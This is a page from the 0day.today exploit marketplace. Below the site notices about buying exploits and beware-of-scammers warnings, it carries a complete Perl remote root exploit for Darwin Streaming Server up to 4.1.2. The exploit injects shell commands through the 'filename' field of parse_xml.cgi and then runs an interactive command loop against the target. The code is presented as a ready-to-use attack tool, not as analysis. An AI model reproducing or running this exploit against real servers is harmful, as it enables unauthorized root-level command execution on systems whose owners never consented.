0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Darwin Streaming Server <= 4.1.2 (parse_xml.cgi) Code Execution Expl
======================================================================= Darwin Streaming Server <= 4.1.2 (parse_xml.cgi) Code Execution Exploit ======================================================================= #!/usr/bin/perl # # QTTS REMOTE ROOT exploit by FOX_MULDER (fox_mulder@abv.bg) # FOX_MULDER PRESENTS fox_mulder_at_abv.bg # # Darwin(OSX)4.x(?) 5.X QTSS(Quick Time Stream Server) 3.X # # The bug in Darwin 5.X with unpatched QTSS in parse_xml.cgi which lead to remote root compromise: # $filename = $query->{'filename'}; # $templatefile = $query->{'template'}; # Based on http://wbyte.ath.cx/~wbyte/researches/qtss-core.txt# ########################### use IO::Socket; use LWP::Simple; use LWP 5.64; sub Usage { print STDERR "\nQTTS REMOTE ROOT EXPLOIT BY FOX_MULDER !!!\n"; print STDERR "Usage:cenex.pl <www.example.com> \n"; exit; } if (@ARGV < 1) { Usage(); } $host = @ARGV[0]; print "\n\n !!!PRIVATE EXPLOIT!!! \n\n"; print "Darwin QTTS Remote Root Exploit by FOX_MULDER\n"; print "\n[+] Conecting to $host\n"; &check($command="id"); &hack($command="uname -a;id"); while () { print "Command# "; while(<STDIN>) { $command=$_; chomp($command); exit() if ($command eq 'exit'); last; } &hack($command); } &hack($command); sub hack{ my $browser = LWP::UserAgent->new; $browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'); my $url = "http://$host:1220/parse_xml.cgi"; my $response = $browser->post( $url, [ 'filename' => ";$command|" ] ); die "Received invalid response type", $response->content_type unless $response->content_type eq 'text/html'; print $response->content; } sub check{ print "[+] Checking if vulnerable . . .\n"; my $browser = LWP::UserAgent->new; $browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'); my $url = "http://$host:1220/parse_xml.cgi"; my $response = $browser->post( $url, [ 'filename' => ";$command|" ] ); my $code = $response->status_line; if($code != 200){ print "Not vulnerable\n"; exit; } print "[+] Status $code ...\n"; } # 0day.today [2024-11-15] #